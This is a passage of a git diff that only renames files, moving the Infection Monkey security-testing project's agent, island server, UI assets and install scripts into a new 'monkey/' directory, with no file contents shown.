to monkey/infection_monkey/network/ping_scanner.py diff --git a/infection_monkey/network/smbfinger.py b/monkey/infection_monkey/network/smbfinger.py similarity index 100% rename from infection_monkey/network/smbfinger.py rename to monkey/infection_monkey/network/smbfinger.py diff --git a/infection_monkey/network/sshfinger.py b/monkey/infection_monkey/network/sshfinger.py similarity index 100% rename from infection_monkey/network/sshfinger.py rename to monkey/infection_monkey/network/sshfinger.py diff --git a/infection_monkey/network/tcp_scanner.py b/monkey/infection_monkey/network/tcp_scanner.py similarity index 100% rename from infection_monkey/network/tcp_scanner.py rename to monkey/infection_monkey/network/tcp_scanner.py diff --git a/infection_monkey/network/tools.py b/monkey/infection_monkey/network/tools.py similarity index 100% rename from infection_monkey/network/tools.py rename to monkey/infection_monkey/network/tools.py diff --git a/infection_monkey/readme.txt b/monkey/infection_monkey/readme.txt similarity index 100% rename from infection_monkey/readme.txt rename to monkey/infection_monkey/readme.txt diff --git a/infection_monkey/requirements.txt b/monkey/infection_monkey/requirements.txt similarity index 100% rename from infection_monkey/requirements.txt rename to monkey/infection_monkey/requirements.txt diff --git a/infection_monkey/system_info/__init__.py b/monkey/infection_monkey/system_info/__init__.py similarity index 100% rename from infection_monkey/system_info/__init__.py rename to monkey/infection_monkey/system_info/__init__.py diff --git a/infection_monkey/system_info/azure_cred_collector.py b/monkey/infection_monkey/system_info/azure_cred_collector.py similarity index 100% rename from infection_monkey/system_info/azure_cred_collector.py rename to monkey/infection_monkey/system_info/azure_cred_collector.py diff --git a/infection_monkey/system_info/linux_info_collector.py b/monkey/infection_monkey/system_info/linux_info_collector.py similarity index 100% rename from infection_monkey/system_info/linux_info_collector.py rename to monkey/infection_monkey/system_info/linux_info_collector.py diff --git a/infection_monkey/system_info/mimikatz_collector.py b/monkey/infection_monkey/system_info/mimikatz_collector.py similarity index 100% rename from infection_monkey/system_info/mimikatz_collector.py rename to monkey/infection_monkey/system_info/mimikatz_collector.py diff --git a/infection_monkey/system_info/windows_info_collector.py b/monkey/infection_monkey/system_info/windows_info_collector.py similarity index 100% rename from infection_monkey/system_info/windows_info_collector.py rename to monkey/infection_monkey/system_info/windows_info_collector.py diff --git a/infection_monkey/system_singleton.py b/monkey/infection_monkey/system_singleton.py similarity index 100% rename from infection_monkey/system_singleton.py rename to monkey/infection_monkey/system_singleton.py diff --git a/infection_monkey/test/__init__.py b/monkey/infection_monkey/test/__init__.py similarity index 100% rename from infection_monkey/test/__init__.py rename to monkey/infection_monkey/test/__init__.py diff --git a/infection_monkey/test/config__test.py b/monkey/infection_monkey/test/config__test.py similarity index 100% rename from infection_monkey/test/config__test.py rename to monkey/infection_monkey/test/config__test.py diff --git a/infection_monkey/transport/__init__.py b/monkey/infection_monkey/transport/__init__.py similarity index 100% rename from infection_monkey/transport/__init__.py rename to monkey/infection_monkey/transport/__init__.py diff --git a/infection_monkey/transport/base.py b/monkey/infection_monkey/transport/base.py similarity index 100% rename from infection_monkey/transport/base.py rename to monkey/infection_monkey/transport/base.py diff --git a/infection_monkey/transport/ftp.py b/monkey/infection_monkey/transport/ftp.py similarity index 100% rename from infection_monkey/transport/ftp.py rename to monkey/infection_monkey/transport/ftp.py diff --git a/infection_monkey/transport/http.py b/monkey/infection_monkey/transport/http.py similarity index 100% rename from infection_monkey/transport/http.py rename to monkey/infection_monkey/transport/http.py diff --git a/infection_monkey/transport/tcp.py b/monkey/infection_monkey/transport/tcp.py similarity index 100% rename from infection_monkey/transport/tcp.py rename to monkey/infection_monkey/transport/tcp.py diff --git a/infection_monkey/tunnel.py b/monkey/infection_monkey/tunnel.py similarity index 100% rename from infection_monkey/tunnel.py rename to monkey/infection_monkey/tunnel.py diff --git a/infection_monkey/utils.py b/monkey/infection_monkey/utils.py similarity index 100% rename from infection_monkey/utils.py rename to monkey/infection_monkey/utils.py diff --git a/infection_monkey/windows_upgrader.py b/monkey/infection_monkey/windows_upgrader.py similarity index 100% rename from infection_monkey/windows_upgrader.py rename to monkey/infection_monkey/windows_upgrader.py diff --git a/monkey_island/__init__.py b/monkey/monkey_island/__init__.py similarity index 100% rename from monkey_island/__init__.py rename to monkey/monkey_island/__init__.py diff --git a/monkey_island/cc/__init__.py b/monkey/monkey_island/cc/__init__.py similarity index 100% rename from monkey_island/cc/__init__.py rename to monkey/monkey_island/cc/__init__.py diff --git a/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py similarity index 100% rename from monkey_island/cc/app.py rename to monkey/monkey_island/cc/app.py diff --git a/monkey_island/cc/auth.py b/monkey/monkey_island/cc/auth.py similarity index 100% rename from monkey_island/cc/auth.py rename to monkey/monkey_island/cc/auth.py diff --git a/monkey_island/cc/binaries/.gitignore b/monkey/monkey_island/cc/binaries/.gitignore similarity index 100% rename from monkey_island/cc/binaries/.gitignore rename to monkey/monkey_island/cc/binaries/.gitignore diff --git a/monkey_island/cc/database.py b/monkey/monkey_island/cc/database.py similarity index 100% rename from monkey_island/cc/database.py rename to monkey/monkey_island/cc/database.py diff --git a/monkey_island/cc/encryptor.py b/monkey/monkey_island/cc/encryptor.py similarity index 100% rename from monkey_island/cc/encryptor.py rename to monkey/monkey_island/cc/encryptor.py diff --git a/monkey_island/cc/environment/__init__.py b/monkey/monkey_island/cc/environment/__init__.py similarity index 100% rename from monkey_island/cc/environment/__init__.py rename to monkey/monkey_island/cc/environment/__init__.py diff --git a/monkey_island/cc/environment/aws.py b/monkey/monkey_island/cc/environment/aws.py similarity index 100% rename from monkey_island/cc/environment/aws.py rename to monkey/monkey_island/cc/environment/aws.py diff --git a/monkey_island/cc/environment/environment.py b/monkey/monkey_island/cc/environment/environment.py similarity index 100% rename from monkey_island/cc/environment/environment.py rename to monkey/monkey_island/cc/environment/environment.py diff --git a/monkey_island/cc/environment/standard.py b/monkey/monkey_island/cc/environment/standard.py similarity index 100% rename from monkey_island/cc/environment/standard.py rename to monkey/monkey_island/cc/environment/standard.py diff --git a/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py similarity index 100% rename from monkey_island/cc/main.py rename to monkey/monkey_island/cc/main.py diff --git a/monkey_island/cc/resources/__init__.py b/monkey/monkey_island/cc/resources/__init__.py similarity index 100% rename from monkey_island/cc/resources/__init__.py rename to monkey/monkey_island/cc/resources/__init__.py diff --git a/monkey_island/cc/resources/client_run.py b/monkey/monkey_island/cc/resources/client_run.py similarity index 100% rename from monkey_island/cc/resources/client_run.py rename to monkey/monkey_island/cc/resources/client_run.py diff --git a/monkey_island/cc/resources/edge.py b/monkey/monkey_island/cc/resources/edge.py similarity index 100% rename from monkey_island/cc/resources/edge.py rename to monkey/monkey_island/cc/resources/edge.py diff --git a/monkey_island/cc/resources/local_run.py b/monkey/monkey_island/cc/resources/local_run.py similarity index 100% rename from monkey_island/cc/resources/local_run.py rename to monkey/monkey_island/cc/resources/local_run.py diff --git a/monkey_island/cc/resources/log.py b/monkey/monkey_island/cc/resources/log.py similarity index 100% rename from monkey_island/cc/resources/log.py rename to monkey/monkey_island/cc/resources/log.py diff --git a/monkey_island/cc/resources/monkey.py b/monkey/monkey_island/cc/resources/monkey.py similarity index 100% rename from monkey_island/cc/resources/monkey.py rename to monkey/monkey_island/cc/resources/monkey.py diff --git a/monkey_island/cc/resources/monkey_configuration.py b/monkey/monkey_island/cc/resources/monkey_configuration.py similarity index 100% rename from monkey_island/cc/resources/monkey_configuration.py rename to monkey/monkey_island/cc/resources/monkey_configuration.py diff --git a/monkey_island/cc/resources/monkey_download.py b/monkey/monkey_island/cc/resources/monkey_download.py similarity index 100% rename from monkey_island/cc/resources/monkey_download.py rename to monkey/monkey_island/cc/resources/monkey_download.py diff --git a/monkey_island/cc/resources/netmap.py b/monkey/monkey_island/cc/resources/netmap.py similarity index 100% rename from monkey_island/cc/resources/netmap.py rename to monkey/monkey_island/cc/resources/netmap.py diff --git a/monkey_island/cc/resources/node.py b/monkey/monkey_island/cc/resources/node.py similarity index 100% rename from monkey_island/cc/resources/node.py rename to monkey/monkey_island/cc/resources/node.py diff --git a/monkey_island/cc/resources/report.py b/monkey/monkey_island/cc/resources/report.py similarity index 100% rename from monkey_island/cc/resources/report.py rename to monkey/monkey_island/cc/resources/report.py diff --git a/monkey_island/cc/resources/root.py b/monkey/monkey_island/cc/resources/root.py similarity index 100% rename from monkey_island/cc/resources/root.py rename to monkey/monkey_island/cc/resources/root.py diff --git a/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py similarity index 100% rename from monkey_island/cc/resources/telemetry.py rename to monkey/monkey_island/cc/resources/telemetry.py diff --git a/monkey_island/cc/resources/telemetry_feed.py b/monkey/monkey_island/cc/resources/telemetry_feed.py similarity index 100% rename from monkey_island/cc/resources/telemetry_feed.py rename to monkey/monkey_island/cc/resources/telemetry_feed.py diff --git a/monkey_island/cc/server_config.json b/monkey/monkey_island/cc/server_config.json similarity index 100% rename from monkey_island/cc/server_config.json rename to monkey/monkey_island/cc/server_config.json diff --git a/monkey_island/cc/services/__init__.py b/monkey/monkey_island/cc/services/__init__.py similarity index 100% rename from monkey_island/cc/services/__init__.py rename to monkey/monkey_island/cc/services/__init__.py diff --git a/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py similarity index 100% rename from monkey_island/cc/services/config.py rename to monkey/monkey_island/cc/services/config.py diff --git a/monkey_island/cc/services/edge.py b/monkey/monkey_island/cc/services/edge.py similarity index 100% rename from monkey_island/cc/services/edge.py rename to monkey/monkey_island/cc/services/edge.py diff --git a/monkey_island/cc/services/log.py b/monkey/monkey_island/cc/services/log.py similarity index 100% rename from monkey_island/cc/services/log.py rename to monkey/monkey_island/cc/services/log.py diff --git a/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py similarity index 100% rename from monkey_island/cc/services/node.py rename to monkey/monkey_island/cc/services/node.py diff --git a/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py similarity index 100% rename from monkey_island/cc/services/report.py rename to monkey/monkey_island/cc/services/report.py diff --git a/monkey_island/cc/ui/.babelrc b/monkey/monkey_island/cc/ui/.babelrc similarity index 100% rename from monkey_island/cc/ui/.babelrc rename to monkey/monkey_island/cc/ui/.babelrc diff --git a/monkey_island/cc/ui/.editorconfig b/monkey/monkey_island/cc/ui/.editorconfig similarity index 100% rename from monkey_island/cc/ui/.editorconfig rename to monkey/monkey_island/cc/ui/.editorconfig diff --git a/monkey_island/cc/ui/.eslintrc b/monkey/monkey_island/cc/ui/.eslintrc similarity index 100% rename from monkey_island/cc/ui/.eslintrc rename to monkey/monkey_island/cc/ui/.eslintrc diff --git a/monkey_island/cc/ui/.gitignore b/monkey/monkey_island/cc/ui/.gitignore similarity index 100% rename from monkey_island/cc/ui/.gitignore rename to monkey/monkey_island/cc/ui/.gitignore diff --git a/monkey_island/cc/ui/.yo-rc.json b/monkey/monkey_island/cc/ui/.yo-rc.json similarity index 100% rename from monkey_island/cc/ui/.yo-rc.json rename to monkey/monkey_island/cc/ui/.yo-rc.json diff --git a/monkey_island/cc/ui/cfg/base.js b/monkey/monkey_island/cc/ui/cfg/base.js similarity index 100% rename from monkey_island/cc/ui/cfg/base.js rename to monkey/monkey_island/cc/ui/cfg/base.js diff --git a/monkey_island/cc/ui/cfg/defaults.js b/monkey/monkey_island/cc/ui/cfg/defaults.js similarity index 100% rename from monkey_island/cc/ui/cfg/defaults.js rename to monkey/monkey_island/cc/ui/cfg/defaults.js diff --git a/monkey_island/cc/ui/cfg/dev.js b/monkey/monkey_island/cc/ui/cfg/dev.js similarity index 100% rename from monkey_island/cc/ui/cfg/dev.js rename to monkey/monkey_island/cc/ui/cfg/dev.js diff --git a/monkey_island/cc/ui/cfg/dist.js b/monkey/monkey_island/cc/ui/cfg/dist.js similarity index 100% rename from monkey_island/cc/ui/cfg/dist.js rename to monkey/monkey_island/cc/ui/cfg/dist.js diff --git a/monkey_island/cc/ui/cfg/test.js b/monkey/monkey_island/cc/ui/cfg/test.js similarity index 100% rename from monkey_island/cc/ui/cfg/test.js rename to monkey/monkey_island/cc/ui/cfg/test.js diff --git a/monkey_island/cc/ui/karma.conf.js b/monkey/monkey_island/cc/ui/karma.conf.js similarity index 100% rename from monkey_island/cc/ui/karma.conf.js rename to monkey/monkey_island/cc/ui/karma.conf.js diff --git a/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json similarity index 100% rename from monkey_island/cc/ui/package-lock.json rename to monkey/monkey_island/cc/ui/package-lock.json diff --git a/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json similarity index 100% rename from monkey_island/cc/ui/package.json rename to monkey/monkey_island/cc/ui/package.json diff --git a/monkey_island/cc/ui/server.js b/monkey/monkey_island/cc/ui/server.js similarity index 100% rename from monkey_island/cc/ui/server.js rename to monkey/monkey_island/cc/ui/server.js diff --git a/monkey_island/cc/ui/src/components/AuthComponent.js b/monkey/monkey_island/cc/ui/src/components/AuthComponent.js similarity index 100% rename from monkey_island/cc/ui/src/components/AuthComponent.js rename to monkey/monkey_island/cc/ui/src/components/AuthComponent.js diff --git a/monkey_island/cc/ui/src/components/Main.js b/monkey/monkey_island/cc/ui/src/components/Main.js similarity index 100% rename from monkey_island/cc/ui/src/components/Main.js rename to monkey/monkey_island/cc/ui/src/components/Main.js diff --git a/monkey_island/cc/ui/src/components/map/MapOptions.js b/monkey/monkey_island/cc/ui/src/components/map/MapOptions.js similarity index 100% rename from monkey_island/cc/ui/src/components/map/MapOptions.js rename to monkey/monkey_island/cc/ui/src/components/map/MapOptions.js diff --git a/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js b/monkey/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js similarity index 100% rename from monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js rename to monkey/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js diff --git a/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js similarity index 100% rename from monkey_island/cc/ui/src/components/pages/ConfigurePage.js rename to monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js diff --git a/monkey_island/cc/ui/src/components/pages/LicensePage.js b/monkey/monkey_island/cc/ui/src/components/pages/LicensePage.js similarity index 100% rename from monkey_island/cc/ui/src/components/pages/LicensePage.js rename to monkey/monkey_island/cc/ui/src/components/pages/LicensePage.js diff --git a/monkey_island/cc/ui/src/components/pages/LoginPage.js b/monkey/monkey_island/cc/ui/src/components/pages/LoginPage.js similarity index 100% rename from monkey_island/cc/ui/src/components/pages/LoginPage.js rename to monkey/monkey_island/cc/ui/src/components/pages/LoginPage.js diff --git a/monkey_island/cc/ui/src/components/pages/MapPage.js b/monkey/monkey_island/cc/ui/src/components/pages/MapPage.js similarity index 100% rename from monkey_island/cc/ui/src/components/pages/MapPage.js rename to monkey/monkey_island/cc/ui/src/components/pages/MapPage.js diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js similarity index 100% rename from monkey_island/cc/ui/src/components/pages/ReportPage.js rename to monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js diff --git a/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js similarity index 100% rename from monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js rename to monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js diff --git a/monkey_island/cc/ui/src/components/pages/RunServerPage.js b/monkey/monkey_island/cc/ui/src/components/pages/RunServerPage.js similarity index 100% rename from monkey_island/cc/ui/src/components/pages/RunServerPage.js rename to monkey/monkey_island/cc/ui/src/components/pages/RunServerPage.js diff --git a/monkey_island/cc/ui/src/components/pages/StartOverPage.js b/monkey/monkey_island/cc/ui/src/components/pages/StartOverPage.js similarity index 100% rename from monkey_island/cc/ui/src/components/pages/StartOverPage.js rename to monkey/monkey_island/cc/ui/src/components/pages/StartOverPage.js diff --git a/monkey_island/cc/ui/src/components/pages/TelemetryPage.js b/monkey/monkey_island/cc/ui/src/components/pages/TelemetryPage.js similarity index 100% rename from monkey_island/cc/ui/src/components/pages/TelemetryPage.js rename to monkey/monkey_island/cc/ui/src/components/pages/TelemetryPage.js diff --git a/monkey_island/cc/ui/src/components/reactive-graph/ReactiveGraph.js b/monkey/monkey_island/cc/ui/src/components/reactive-graph/ReactiveGraph.js similarity index 100% rename from monkey_island/cc/ui/src/components/reactive-graph/ReactiveGraph.js rename to monkey/monkey_island/cc/ui/src/components/reactive-graph/ReactiveGraph.js diff --git a/monkey_island/cc/ui/src/components/report-components/BreachedServers.js b/monkey/monkey_island/cc/ui/src/components/report-components/BreachedServers.js similarity index 100% rename from monkey_island/cc/ui/src/components/report-components/BreachedServers.js rename to monkey/monkey_island/cc/ui/src/components/report-components/BreachedServers.js diff --git a/monkey_island/cc/ui/src/components/report-components/CollapsibleWell.js b/monkey/monkey_island/cc/ui/src/components/report-components/CollapsibleWell.js similarity index 100% rename from monkey_island/cc/ui/src/components/report-components/CollapsibleWell.js rename to monkey/monkey_island/cc/ui/src/components/report-components/CollapsibleWell.js diff --git a/monkey_island/cc/ui/src/components/report-components/ScannedServers.js b/monkey/monkey_island/cc/ui/src/components/report-components/ScannedServers.js similarity index 100% rename from monkey_island/cc/ui/src/components/report-components/ScannedServers.js rename to monkey/monkey_island/cc/ui/src/components/report-components/ScannedServers.js diff --git a/monkey_island/cc/ui/src/components/report-components/StolenPasswords.js b/monkey/monkey_island/cc/ui/src/components/report-components/StolenPasswords.js similarity index 100% rename from monkey_island/cc/ui/src/components/report-components/StolenPasswords.js rename to monkey/monkey_island/cc/ui/src/components/report-components/StolenPasswords.js diff --git a/monkey_island/cc/ui/src/config/README.md b/monkey/monkey_island/cc/ui/src/config/README.md similarity index 100% rename from monkey_island/cc/ui/src/config/README.md rename to monkey/monkey_island/cc/ui/src/config/README.md diff --git a/monkey_island/cc/ui/src/config/base.js b/monkey/monkey_island/cc/ui/src/config/base.js similarity index 100% rename from monkey_island/cc/ui/src/config/base.js rename to monkey/monkey_island/cc/ui/src/config/base.js diff --git a/monkey_island/cc/ui/src/config/dev.js b/monkey/monkey_island/cc/ui/src/config/dev.js similarity index 100% rename from monkey_island/cc/ui/src/config/dev.js rename to monkey/monkey_island/cc/ui/src/config/dev.js diff --git a/monkey_island/cc/ui/src/config/dist.js b/monkey/monkey_island/cc/ui/src/config/dist.js similarity index 100% rename from monkey_island/cc/ui/src/config/dist.js rename to monkey/monkey_island/cc/ui/src/config/dist.js diff --git a/monkey_island/cc/ui/src/config/test.js b/monkey/monkey_island/cc/ui/src/config/test.js similarity index 100% rename from monkey_island/cc/ui/src/config/test.js rename to monkey/monkey_island/cc/ui/src/config/test.js diff --git a/monkey_island/cc/ui/src/favicon.ico b/monkey/monkey_island/cc/ui/src/favicon.ico similarity index 100% rename from monkey_island/cc/ui/src/favicon.ico rename to monkey/monkey_island/cc/ui/src/favicon.ico diff --git a/monkey_island/cc/ui/src/images/guardicore-logo.png b/monkey/monkey_island/cc/ui/src/images/guardicore-logo.png similarity index 100% rename from monkey_island/cc/ui/src/images/guardicore-logo.png rename to monkey/monkey_island/cc/ui/src/images/guardicore-logo.png diff --git a/monkey_island/cc/ui/src/images/infection-monkey.svg b/monkey/monkey_island/cc/ui/src/images/infection-monkey.svg similarity index 100% rename from monkey_island/cc/ui/src/images/infection-monkey.svg rename to monkey/monkey_island/cc/ui/src/images/infection-monkey.svg diff --git a/monkey_island/cc/ui/src/images/monkey-icon.svg b/monkey/monkey_island/cc/ui/src/images/monkey-icon.svg similarity index 100% rename from monkey_island/cc/ui/src/images/monkey-icon.svg rename to monkey/monkey_island/cc/ui/src/images/monkey-icon.svg diff --git a/monkey_island/cc/ui/src/images/nodes/clean_linux.png b/monkey/monkey_island/cc/ui/src/images/nodes/clean_linux.png similarity index 100% rename from monkey_island/cc/ui/src/images/nodes/clean_linux.png rename to monkey/monkey_island/cc/ui/src/images/nodes/clean_linux.png diff --git a/monkey_island/cc/ui/src/images/nodes/clean_unknown.png b/monkey/monkey_island/cc/ui/src/images/nodes/clean_unknown.png similarity index 100% rename from monkey_island/cc/ui/src/images/nodes/clean_unknown.png rename to monkey/monkey_island/cc/ui/src/images/nodes/clean_unknown.png diff --git a/monkey_island/cc/ui/src/images/nodes/clean_windows.png b/monkey/monkey_island/cc/ui/src/images/nodes/clean_windows.png similarity index 100% rename from monkey_island/cc/ui/src/images/nodes/clean_windows.png rename to monkey/monkey_island/cc/ui/src/images/nodes/clean_windows.png diff --git a/monkey_island/cc/ui/src/images/nodes/exploited_linux.png b/monkey/monkey_island/cc/ui/src/images/nodes/exploited_linux.png similarity index 100% rename from monkey_island/cc/ui/src/images/nodes/exploited_linux.png rename to monkey/monkey_island/cc/ui/src/images/nodes/exploited_linux.png diff --git a/monkey_island/cc/ui/src/images/nodes/exploited_windows.png b/monkey/monkey_island/cc/ui/src/images/nodes/exploited_windows.png similarity index 100% rename from monkey_island/cc/ui/src/images/nodes/exploited_windows.png rename to monkey/monkey_island/cc/ui/src/images/nodes/exploited_windows.png diff --git a/monkey_island/cc/ui/src/images/nodes/island.png b/monkey/monkey_island/cc/ui/src/images/nodes/island.png similarity index 100% rename from monkey_island/cc/ui/src/images/nodes/island.png rename to monkey/monkey_island/cc/ui/src/images/nodes/island.png diff --git a/monkey_island/cc/ui/src/images/nodes/island_monkey_linux.png b/monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_linux.png similarity index 100% rename from monkey_island/cc/ui/src/images/nodes/island_monkey_linux.png rename to monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_linux.png diff --git a/monkey_island/cc/ui/src/images/nodes/island_monkey_linux_running.png b/monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_linux_running.png similarity index 100% rename from monkey_island/cc/ui/src/images/nodes/island_monkey_linux_running.png rename to monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_linux_running.png diff --git a/monkey_island/cc/ui/src/images/nodes/island_monkey_windows.png b/monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_windows.png similarity index 100% rename from monkey_island/cc/ui/src/images/nodes/island_monkey_windows.png rename to monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_windows.png diff --git a/monkey_island/cc/ui/src/images/nodes/island_monkey_windows_running.png b/monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_windows_running.png similarity index 100% rename from monkey_island/cc/ui/src/images/nodes/island_monkey_windows_running.png rename to monkey/monkey_island/cc/ui/src/images/nodes/island_monkey_windows_running.png diff --git a/monkey_island/cc/ui/src/images/nodes/manual_linux.png b/monkey/monkey_island/cc/ui/src/images/nodes/manual_linux.png similarity index 100% rename from monkey_island/cc/ui/src/images/nodes/manual_linux.png rename to monkey/monkey_island/cc/ui/src/images/nodes/manual_linux.png diff --git a/monkey_island/cc/ui/src/images/nodes/manual_linux_running.png b/monkey/monkey_island/cc/ui/src/images/nodes/manual_linux_running.png similarity index 100% rename from monkey_island/cc/ui/src/images/nodes/manual_linux_running.png rename to monkey/monkey_island/cc/ui/src/images/nodes/manual_linux_running.png diff --git a/monkey_island/cc/ui/src/images/nodes/manual_windows.png b/monkey/monkey_island/cc/ui/src/images/nodes/manual_windows.png similarity index 100% rename from monkey_island/cc/ui/src/images/nodes/manual_windows.png rename to monkey/monkey_island/cc/ui/src/images/nodes/manual_windows.png diff --git a/monkey_island/cc/ui/src/images/nodes/manual_windows_running.png b/monkey/monkey_island/cc/ui/src/images/nodes/manual_windows_running.png similarity index 100% rename from monkey_island/cc/ui/src/images/nodes/manual_windows_running.png rename to monkey/monkey_island/cc/ui/src/images/nodes/manual_windows_running.png diff --git a/monkey_island/cc/ui/src/images/nodes/monkey_linux.png b/monkey/monkey_island/cc/ui/src/images/nodes/monkey_linux.png similarity index 100% rename from monkey_island/cc/ui/src/images/nodes/monkey_linux.png rename to monkey/monkey_island/cc/ui/src/images/nodes/monkey_linux.png diff --git a/monkey_island/cc/ui/src/images/nodes/monkey_linux_running.png b/monkey/monkey_island/cc/ui/src/images/nodes/monkey_linux_running.png similarity index 100% rename from monkey_island/cc/ui/src/images/nodes/monkey_linux_running.png rename to monkey/monkey_island/cc/ui/src/images/nodes/monkey_linux_running.png diff --git a/monkey_island/cc/ui/src/images/nodes/monkey_windows.png b/monkey/monkey_island/cc/ui/src/images/nodes/monkey_windows.png similarity index 100% rename from monkey_island/cc/ui/src/images/nodes/monkey_windows.png rename to monkey/monkey_island/cc/ui/src/images/nodes/monkey_windows.png diff --git a/monkey_island/cc/ui/src/images/nodes/monkey_windows_running.png b/monkey/monkey_island/cc/ui/src/images/nodes/monkey_windows_running.png similarity index 100% rename from monkey_island/cc/ui/src/images/nodes/monkey_windows_running.png rename to monkey/monkey_island/cc/ui/src/images/nodes/monkey_windows_running.png diff --git a/monkey_island/cc/ui/src/index.html b/monkey/monkey_island/cc/ui/src/index.html similarity index 100% rename from monkey_island/cc/ui/src/index.html rename to monkey/monkey_island/cc/ui/src/index.html diff --git a/monkey_island/cc/ui/src/index.js b/monkey/monkey_island/cc/ui/src/index.js similarity index 100% rename from monkey_island/cc/ui/src/index.js rename to monkey/monkey_island/cc/ui/src/index.js diff --git a/monkey_island/cc/ui/src/server_config/AwsConfig.js b/monkey/monkey_island/cc/ui/src/server_config/AwsConfig.js similarity index 100% rename from monkey_island/cc/ui/src/server_config/AwsConfig.js rename to monkey/monkey_island/cc/ui/src/server_config/AwsConfig.js diff --git a/monkey_island/cc/ui/src/server_config/BaseConfig.js b/monkey/monkey_island/cc/ui/src/server_config/BaseConfig.js similarity index 100% rename from monkey_island/cc/ui/src/server_config/BaseConfig.js rename to monkey/monkey_island/cc/ui/src/server_config/BaseConfig.js diff --git a/monkey_island/cc/ui/src/server_config/ServerConfig.js b/monkey/monkey_island/cc/ui/src/server_config/ServerConfig.js similarity index 100% rename from monkey_island/cc/ui/src/server_config/ServerConfig.js rename to monkey/monkey_island/cc/ui/src/server_config/ServerConfig.js diff --git a/monkey_island/cc/ui/src/server_config/StandardConfig.js b/monkey/monkey_island/cc/ui/src/server_config/StandardConfig.js similarity index 100% rename from monkey_island/cc/ui/src/server_config/StandardConfig.js rename to monkey/monkey_island/cc/ui/src/server_config/StandardConfig.js diff --git a/monkey_island/cc/ui/src/services/AuthService.js b/monkey/monkey_island/cc/ui/src/services/AuthService.js similarity index 100% rename from monkey_island/cc/ui/src/services/AuthService.js rename to monkey/monkey_island/cc/ui/src/services/AuthService.js diff --git a/monkey_island/cc/ui/src/styles/App.css b/monkey/monkey_island/cc/ui/src/styles/App.css similarity index 100% rename from monkey_island/cc/ui/src/styles/App.css rename to monkey/monkey_island/cc/ui/src/styles/App.css diff --git a/monkey_island/cc/ui/webpack.config.js b/monkey/monkey_island/cc/ui/webpack.config.js similarity index 100% rename from monkey_island/cc/ui/webpack.config.js rename to monkey/monkey_island/cc/ui/webpack.config.js diff --git a/monkey_island/cc/utils.py b/monkey/monkey_island/cc/utils.py similarity index 100% rename from monkey_island/cc/utils.py rename to monkey/monkey_island/cc/utils.py diff --git a/monkey_island/deb-package/DEBIAN/control b/monkey/monkey_island/deb-package/DEBIAN/control similarity index 100% rename from monkey_island/deb-package/DEBIAN/control rename to monkey/monkey_island/deb-package/DEBIAN/control diff --git a/monkey_island/deb-package/DEBIAN/postinst b/monkey/monkey_island/deb-package/DEBIAN/postinst similarity index 100% rename from monkey_island/deb-package/DEBIAN/postinst rename to monkey/monkey_island/deb-package/DEBIAN/postinst diff --git a/monkey_island/deb-package/DEBIAN/prerm b/monkey/monkey_island/deb-package/DEBIAN/prerm similarity index 100% rename from monkey_island/deb-package/DEBIAN/prerm rename to monkey/monkey_island/deb-package/DEBIAN/prerm diff --git a/monkey_island/deb-package/monkey_island_pip_requirements.txt b/monkey/monkey_island/deb-package/monkey_island_pip_requirements.txt similarity index 100% rename from monkey_island/deb-package/monkey_island_pip_requirements.txt rename to monkey/monkey_island/deb-package/monkey_island_pip_requirements.txt diff --git a/monkey_island/linux/clear_db.sh b/monkey/monkey_island/linux/clear_db.sh similarity index 100% rename from monkey_island/linux/clear_db.sh rename to monkey/monkey_island/linux/clear_db.sh diff --git a/monkey_island/linux/create_certificate.sh b/monkey/monkey_island/linux/create_certificate.sh similarity index 100% rename from monkey_island/linux/create_certificate.sh rename to monkey/monkey_island/linux/create_certificate.sh diff --git a/monkey_island/linux/install.sh b/monkey/monkey_island/linux/install.sh similarity index 100% rename from monkey_island/linux/install.sh rename to monkey/monkey_island/linux/install.sh diff --git a/monkey_island/linux/monkey.sh b/monkey/monkey_island/linux/monkey.sh similarity index 100% rename from monkey_island/linux/monkey.sh rename to monkey/monkey_island/linux/monkey.sh diff --git a/monkey_island/linux/run.sh b/monkey/monkey_island/linux/run.sh similarity index 100% rename from monkey_island/linux/run.sh rename to monkey/monkey_island/linux/run.sh diff --git a/monkey_island/linux/ubuntu/monkey-island.conf b/monkey/monkey_island/linux/ubuntu/monkey-island.conf similarity index 100% rename from monkey_island/linux/ubuntu/monkey-island.conf rename to monkey/monkey_island/linux/ubuntu/monkey-island.conf diff --git a/monkey_island/linux/ubuntu/monkey-mongo.conf b/monkey/monkey_island/linux/ubuntu/monkey-mongo.conf similarity index 100% rename from monkey_island/linux/ubuntu/monkey-mongo.conf rename to monkey/monkey_island/linux/ubuntu/monkey-mongo.conf diff --git a/monkey_island/linux/ubuntu/systemd/monkey-island.service b/monkey/monkey_island/linux/ubuntu/systemd/monkey-island.service similarity index 100% rename from monkey_island/linux/ubuntu/systemd/monkey-island.service rename to monkey/monkey_island/linux/ubuntu/systemd/monkey-island.service diff --git 